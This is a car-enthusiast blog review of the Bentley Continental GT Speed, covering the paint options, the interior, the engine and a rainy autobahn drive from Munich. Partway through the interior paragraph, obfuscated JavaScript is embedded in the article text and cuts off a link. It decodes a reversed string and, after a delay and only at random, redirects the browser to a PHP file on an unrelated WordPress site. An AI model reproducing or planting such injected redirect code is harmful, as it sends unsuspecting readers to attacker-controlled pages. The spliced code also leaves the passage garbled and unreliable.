Ride of the Valkyries. Bentley GT Speed

There’s a lot to be said for soundtracks. A good soundtrack can make a film. A bad one can ruin it. And I’m beginning to think that a soundtrack through life would be a good idea. Particularly as I barrel down the German autobahn at a perfectly legal 250kph, accompanied by Wagner’s Ride of the Valkyries.

This particularly classy method of transport is all down to Bentley. I’m in Bavaria for the launch of the latest Continental GT Speed, and in the shopping precinct between Terminals 1 and 2 of Munich Airport, we find the new cars preloaded with a hard drive full of classical music. As if a twin-turbocharged 6.0-litre W12 engine with isn’t rousing enough.

I’ve chosen a suitably raucous colour for this little escapade – a lurid, metallic green paint adorns this particular example of the pinnacle of the current Continental GT range. Bentley is trying hard to attract younger buyers, and so its colour palette is expanding accordingly.

There’s method to this targeting of the relative youth; in developing markets, potential Bentley customers are younger than the traditional demographic. As an example, the average age of a Bentley buyer in China is just 28. So as well as the traditional, more conservative hues lined up in Munich, there’s my new green machine, a bright yellow car, and examples in burned orange and dazzling red too.

The interior of my chosen steed is suitably attired as well. There’s liberal smatterings of carbon fibre contrasting with the traditional chrome vents and organ stop controls that have been a feature of Bentleys for decades. Indeed, the cabin is very similar to the standard latest Continental GT, which itself isn’t far removed from the previous generation. It’s instantly familiar to me from $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-new-recruit-bentley-continental-flying-spur-speed/”>our long-term Continental Flying Spur Speed, even though that car is now close to three years old.

Crucially however, the technology within has been updated. The sat nav and entertainment set up are suitably cutting edge and there’s a cool colour screen between the dials on the dash.

The route? Here it is. Some Autobahn thumping (derestriction for the win) followed by some mountain roads near the Austrian border. Then a night in a mountaintop hotel, and a thrash back. Short, but hopefully sweet.

The only issue could be the weather. As we leave Munich airport, the cloud are gathering and it’s bloody cold. Before long, it starts to rain. German lane discipline on the Autobahn is excellent, but it’s fairly busy. Although the GT Speed has a top velocity of 330kph, it seems unlikely that we’ll be testing that limit today. And it would be unwise too.

But regardless, on we push. With Tchaikovsky’s 1812 Overture blasting from the excellent sound system, I charge onto the motorway and into a mist of spray from the rest of the traffic. The first few kilometres have a 120kph speed limit on them, but as the cannon fire away, the ‘end of speed limit’ sign appears and it’s game on. The journey has so far been very quiet and serene (save for the rousing Russian music), with wind and road noise at an absolute minimum thanks to some sterling insulation work by the Bentley team at Crewe. But now I mash the chunky throttle pedal and two banks of cylinders up their work rate. There’s a rumbling from the back of the car, and it’s more than just timpani. All 616 horses are released from the gate, and more importantly the 590lb ft of torque that they’re hooked up to from just 2000rpm. Thanks to a new eight-speed ZF gearbox, which drops from eight straight to fourth, all that twist goes to all four wheels and the Speed surges forward.

Driving in lousy conditions at 240kph requires some concentration, so I’m afraid I have few images from the Autobahn. Just this shot of me enjoying the experience. And yes, I know I forgot to take my headphones off.

Let me assure you, however, that it’s something anyone with a need for speed should try. In theory, there’s no limit to how fast one can go, but the Polizei will still get annoyed if you drive like an imbecile, so attempting ludicrous speeds is out while there are other cars around. But unlike the Middle East, everyone stays as far right as possible unless they’re overtaking, so the only cars in the left lane are those doing similarly high speeds. The result – mostly stonking process, making sure I keep an eye on the horizon to spot the occasional dopey hatchback pulling out without checking. Although it’s apparently hard not to notice a thundering green Bentley barrelling up behind you, as those that stray into my path soon clear out the way.

With the Austrian border and its surrounding mountains dominating the horizon, we get off the motorway and head through fairly lousy weather along some fantastic roads. Roads with trucks on them. So we go pretty slowly. In all honesty, it wasn’t that great (aside from this tunnel), so we’ll pick up on the return journey.

Pages: 1 2

Ride of the Valkyries. Bentley GT Speed

Phill Tromans

Related Posts

Maserati GranTurismo Trofeo revealed – V6-powered GT gearing up for launch​

Bentley Flying Spur Speed returns with 626bhp W12

New Bentley Mulliner Batur revealed – limited run special revealed at Monterey Car Week

Maserati GranTurismo Trofeo revealed – V6-powered GT gearing up for launch